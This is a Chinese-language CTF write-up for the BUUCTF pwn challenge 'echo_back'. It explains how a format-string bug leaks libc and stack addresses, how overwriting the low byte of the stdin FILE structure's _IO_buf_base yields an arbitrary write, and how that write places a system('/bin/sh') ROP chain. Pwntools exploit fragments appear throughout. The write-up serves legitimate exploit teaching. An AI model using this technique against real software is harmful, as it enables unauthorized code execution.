【IO系列IO_2_1_stdin】echo_back


一、题目描述

名称:echo_back

类别:Pwn

知识点:格式化字符串漏洞 + IO_FILE利用

难度系数:简单

赛题链接:BUUCTF在线评测

二、题目分析

1.检查保护

保护全开:

8d12bb9a2cc741ad86db15a77977a5d4.png

2.漏洞分析

①先扔到IDA中查看,共有3个功能,分别查看一下每个功能的实现。

53ad9743fae741efa395cc66c8c78974.png

②第一个set name只有一个read写7个字节,没有溢出;再看第二个功能echo_back,发现下边的printf存在格式化字符串漏洞,但同样存在7字节限制,用%num%p可以泄露栈上__libc_start_call_main的libc地址,但无法直接用fmt构造rop链和覆写got地址(full relro)

7ec1b3864f2e4c08a28d12cc6da495ec.png

253cbc4e7f3c40138af02fc41ccbc1b9.png

③进一步想想,操作系统如何知道用户输入了几个字节呢?如果有一个地方记录着用户输入字节数或已读取字节数,是不是可以尝试修改这个记录的数据来突破7字节输入限制呢?答案是有的,在linux系统中万物皆是文件,当前的输入也是如此,都会有一个对应的IO_FILE来记录读取的起始、当前和结束地址,当然还有很多其他字段,相关文章很多,这里不再赘述(可通过ctfwiki或IO_FILE相关博客学习)。IO_FILE结构体源码如下:

struct _IO_FILE {
  int _flags;        /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

  /* The following pointers correspond to the C++ streambuf protocol. */
  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
  char* _IO_read_ptr;    /* Current read pointer */
  char* _IO_read_end;    /* End of get area. */
  char* _IO_read_base;    /* Start of putback+get area. */
  char* _IO_write_base;    /* Start of put area. */
  char* _IO_write_ptr;    /* Current put pointer. */
  char* _IO_write_end;    /* End of put area. */
  char* _IO_buf_base;    /* Start of reserve area. */
  char* _IO_buf_end;    /* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;

  int _fileno;
#if 0
  int _blksize;
#else
  int _flags2;
#endif
  _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */

#define __HAVE_COLUMN /* temporary */
  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];

  /*  char* _save_gptr;  char* _save_egptr; */

  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

struct _IO_FILE_complete
{
  struct _IO_FILE _file;
#endif
#if defined _G_IO_IO_FILE_VERSION && _G_IO_IO_FILE_VERSION == 0x20001
  _IO_off64_t _offset;
# if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
  /* Wide character stream stuff.  */
  struct _IO_codecvt *_codecvt;
  struct _IO_wide_data *_wide_data;
  struct _IO_FILE *_freeres_list;
  void *_freeres_buf;
# else
  void *__pad1;
  void *__pad2;
  void *__pad3;
  void *__pad4;
# endif
  size_t __pad5;
  int _mode;
  /* Make sure we don't get into trouble again.  */
  char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
#endif
};

④同时我们得知,stdin、stdout和stderr其实也都有对应的IO_FILE,他们三个只是指针,用来指向对应的IO_FILE,其中stdin负责输入,且scanf就是从stdin中读取数据,所以我们主要攻击IO_2_1_stdin的结构体。这里给出scanf中的关键实现函数源码_IO_new_file_underflow

int
_IO_new_file_underflow (fp)
     _IO_FILE *fp;
{
  _IO_ssize_t count;
#if 0
  /* SysV does not make this test; take it out for compatibility */
  if (fp->_flags & _IO_EOF_SEEN)
    return (EOF);
#endif

  if (fp->_flags & _IO_NO_READS)
    {
      fp->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return EOF;
    }
//**************************************************************************
  if (fp->_IO_read_ptr < fp->_IO_read_end)
    return *(unsigned char *) fp->_IO_read_ptr;
//**************************************************************************
  if (fp->_IO_buf_base == NULL)
    {
      /* Maybe we already have a push back pointer.  */
      if (fp->_IO_save_base != NULL)
	{
	  free (fp->_IO_save_base);
	  fp->_flags &= ~_IO_IN_BACKUP;
	}
      INTUSE(_IO_doallocbuf) (fp);
    }

  /* Flush all line buffered files before reading. */
  /* FIXME This can/should be moved to genops ?? */
  if (fp->_flags & (_IO_LINE_BUF|_IO_UNBUFFERED))
    {
#if 0
      INTUSE(_IO_flush_all_linebuffered) ();
#else
      /* We used to flush all line-buffered stream.  This really isn't
	 required by any standard.  My recollection is that
	 traditional Unix systems did this for stdout.  stderr better
	 not be line buffered.  So we do just that here
	 explicitly.  --drepper */
      _IO_cleanup_region_start ((void (*) __P ((void *))) _IO_funlockfile,
				_IO_stdout);
      _IO_flockfile (_IO_stdout);

      if ((_IO_stdout->_flags & (_IO_LINKED | _IO_NO_WRITES | _IO_LINE_BUF))
	  == (_IO_LINKED | _IO_LINE_BUF))
	_IO_OVERFLOW (_IO_stdout, EOF);

      _IO_funlockfile (_IO_stdout);
      _IO_cleanup_region_end (0);
#endif
    }

  INTUSE(_IO_switch_to_get_mode) (fp);

  /* This is very tricky. We have to adjust those
     pointers before we call _IO_SYSREAD () since
     we may longjump () out while waiting for
     input. Those pointers may be screwed up. H.J. */
  fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_buf_base;
  fp->_IO_read_end = fp->_IO_buf_base;
  fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end
    = fp->_IO_buf_base;
///
  count = _IO_SYSREAD (fp, fp->_IO_buf_base,
		       fp->_IO_buf_end - fp->_IO_buf_base);
///
  if (count <= 0)
    {
      if (count == 0)
	fp->_flags |= _IO_EOF_SEEN;
      else
	fp->_flags |= _IO_ERR_SEEN, count = 0;
  }
  fp->_IO_read_end += count;
  if (count == 0)
    return EOF;
  if (fp->_offset != _IO_pos_BAD)
    _IO_pos_adjust (fp->_offset, count);
  return *(unsigned char *) fp->_IO_read_ptr;
}

⑤比较关键的代码我通过来包裹起来了,这里使用_IO_SYSREAD函数向_IO_buf_base写入了_IO_buf_end - _IO_buf_base大小的数据,base是起始地址,end是结束地址。如果能够控制_IO_buf_base和_IO_buf_end那就可以向任意地址写入任意数据了。这里做个标注:

_IO_buf_base:输入缓冲区的起始地址。

_IO_read_ptr:输入缓冲区的当前读取地址。

_IO_read_end:输入缓冲区的结束位置。

⑥为了修改_IO_buf_base,我们要将_IO_buf_base指向的地址改到_IO_buf_base之前的地址。这里解释一下为什么要改到_IO_buf_base之前的地址,因为我们通过printf格式化字符串修改地址时,会使用%num$hhn,正好7个字符,所以只能将_IO_buf_base内存储地址的最后一个字节修改为\x00。

⑦当我们通过格式化字符串漏洞泄露libc地址后,我们可以通过libc_base + libc中_IO_2_1_stdin_地址来得到真实stdin地址,同理算出system和binsh的地址备用。这里的_IO_buf_base在stdin的第7个位置,所以相对于stdin的偏移就是0x8 * 7。

f152f486b80a4f09b1d0c33a94b04f60.png

片段脚本如下:

echo_back("%19$p")
p.recvuntil("0x")
recv1 = p.recvuntil(b'exit\n')
__libc_start_main = int(recv1[0:12].decode(), 16) - 240 #远程是240
libc_base = __libc_start_main - libc.symbols['__libc_start_main']

system = libc_base + libc.symbols['system']    
bin_sh = libc_base + libc.search(b'/bin/sh').__next__()
   
_IO_2_1_stdin_ = libc_base + libc.symbols['_IO_2_1_stdin_']
_IO_buf_base = _IO_2_1_stdin_ + 0x8 * 7

⑧除此之外,我们还需要泄露main函数的返回地址的地址,因为我们是每次新调用echo_back时开辟的栈地址会不一样,所以我们需要使用稳定的main函数栈地址来做rop。当我们调用echo_back时,它的rbp中存的是main函数的rbp地址,通过这个地址+8就得到了main函数存返回地址的地址;echo_back返回地址存的就是返回main函数所在的地址,也就是main函数中调用echo_back后要执行的地址,通过相对偏移可以算出main函数地址。如下图所示:

e343d27ddca04ea0b3559f200a1df101.png

462f93f226ff49e48c98c8d80f398fef.png

片段脚本:

echo_back("%13$p")    
p.recvuntil("0x")
recv2 = p.recvuntil(b'exit\n')
main_addr = int(recv2[0:12].decode(), 16)  - (0x0D08 - 0x0C6C)
elf_base = main_addr - 0x0C6C    
pop_rdi_addr = elf_base + pop_rdi    
 
echo_back("%12$p")    
p.recvuntil("0x")
recv3 = p.recvuntil(b'exit\n')
main_rbp = int(recv3[0:12].decode(), 16)
main_ret = main_rbp + 0x8  

⑨那如何改写_IO_buf_base呢?这就要用到set_name函数了,通过set_name函数,我们将s的内容修改成_IO_buf_base的地址,接着用echo_back函数中的格式化字符串漏洞就能成功将_IO_buf_base的低两位写成0。

set_name(p64(_IO_buf_base))
echo_back('%16$hhn')

接下来我们通过scanf修改stdin的IO_FILE结构体,其中前三个0x83 + _IO_2_1_stdin_是通过调试发现没有变化的,直接原值覆盖,后边接上我们想覆盖的起始地址和结束地址。

值得一提的是,这里有个getchar()会自动帮我们给_IO_read_ptr加一。

26754c2a1781444da7f893d129478fc5.png

payload = p64(0x83 + _IO_2_1_stdin_ ) * 3 + p64(main_ret) + p64(main_ret + 0x18)
p.sendlineafter('choice>>','2')
p.sendafter('length:',payload)
p.sendline('')
for i in range(0, len(payload) - 1):
    p.sendlineafter('choice>>',"2")
    p.sendlineafter('length:',"7")

⑩最后一个简单的ROP,结束战斗

sleep(1)
p.sendlineafter(b'choice>>',"2")
payload = p64(pop_rdi_addr) + p64(bin_sh) + p64(system)
p.sendafter(b'length:',payload)
p.sendline("7")
p.sendlineafter(b'choice>>',"3")
p.interactive()


三、EXP

EXP在上边已经分段展示了,自己做一遍会更好,加油。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值